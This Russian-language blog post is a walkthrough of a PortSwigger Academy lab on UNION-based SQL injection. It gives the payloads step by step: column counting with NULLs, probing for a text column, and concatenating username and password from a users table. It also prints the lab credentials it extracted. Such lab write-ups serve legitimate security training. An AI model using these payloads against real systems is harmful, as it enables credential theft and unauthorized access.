Найти в Дзене
ЗА ИБАС

[PortSwigger, 6/16 SQLi] Атака UNION с внедрением SQL, позволяющая получить несколько значений в одном столбце

Все еще продолжаем решать лабораторные работы на PortSwigger Academy - SQL injection UNION attack, retrieving multiple values in a single column Да, всегда можно отказаться от этого, и спокойно стать успешным человеком как Валерий А теперь начнем Душная теория В прошлой лабораторке мы научились возвращать 2 и более столбцов с таблицы. А вдруг, у нас возникает такая ситуация, что запрос возвращает только один столбец.
Вы можете легко получить несколько значений вместе в этом одном столбце, объединив значения вместе, в идеале включив подходящий разделитель, чтобы вы могли различать объединенные значения. Например, в БД Oracle вы можете отправить ввод: ' UNION SELECT username || '~' || password FROM users-- Здесь используется двухконтурная последовательность || который является оператором конкатенации строк в Oracle. Внедренный запрос объединяет значения полей имени пользователя и пароля, разделенные символом ~.
Результаты запроса позволят вам прочитать все имена пользователей и пароли,
Оглавление

Все еще продолжаем решать лабораторные работы на PortSwigger Academy - SQL injection UNION attack, retrieving multiple values in a single column

Lab: SQL injection UNION attack, retrieving multiple values in a single column | Web Security Academy

Да, всегда можно отказаться от этого, и спокойно стать успешным человеком как Валерий

А теперь начнем

Душная теория

В прошлой лабораторке мы научились возвращать 2 и более столбцов с таблицы. А вдруг, у нас возникает такая ситуация, что запрос возвращает только один столбец.

Вы можете легко получить несколько значений вместе в этом одном столбце, объединив значения вместе, в идеале включив подходящий разделитель, чтобы вы могли различать объединенные значения. Например, в БД Oracle вы можете отправить ввод:

' UNION SELECT username || '~' || password FROM users--

Здесь используется двухконтурная последовательность || который является оператором конкатенации строк в Oracle. Внедренный запрос объединяет значения полей имени пользователя и пароля, разделенные символом ~.

Результаты запроса позволят вам прочитать все имена пользователей и пароли, например:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Обратите внимание, что разные базы данных используют разный синтаксис для выполнения конкатенации строк.

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц.

База данных содержит другую таблицу, называемую
users, со столбцами, называемыми username и password.

Чтобы решить лабораторную задачу, выполните атаку UNION с внедрением SQL, которая извлекает все имена пользователей и пароли, и используйте эту информацию для входа в систему в качестве пользователя-администратора.

Решение лабораторной работы

Нас встречает тестовый стенд, и сразу перейдем по фильтру Pets, чтобы было попроще. И вовсе не потому, что собакены классные

-2

Для начала, давайте поймем, сколько в данной таблице столбцов, которые мы можем использовать. Если коротко, то добавляем столько NULL, сколько потребуется. А подробнее расписано тут
Мне в данном случае потребовалось 2

https://0a8b00c303715f4bc0189d47005d001d.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, NULL--
-3

Далее идем определять какие из данных столбцов имеют текстовый формат. Такое мы уже учились делать тут

https://0a8b00c303715f4bc0189d47005d001d.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, 'a'--

-4

Так мы поняли, что нам именно во второй NULL столбец нужно глиномесить вставлять тот чудо-запрос из душной части данной статьи, которую ты, мой дорогой, конечно же пропустил. Тут нам в постановке задачи дали инфу, что у нас Oracle БД, так что согласно подсказке, и будем использовать ее синтаксис

https://0a8b00c303715f4bc0189d47005d001d.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, username || '~' || password FROM users--
-5

И видим, что SQL-инъекция выполнилась, и выдала нам все креды пользователей

administrator~i4q6yby87j38jfbbbsk0
wiener~byd944vvldtd6ln6t8m
scarlos~yyda030x8rf6d9i2m8ge

Авторизуемся с кредами админа и получаем заветные поздравления о прохождении лабораторной работы

-6

Ты молодец, продолжай в том же духе!

До встречи)

-7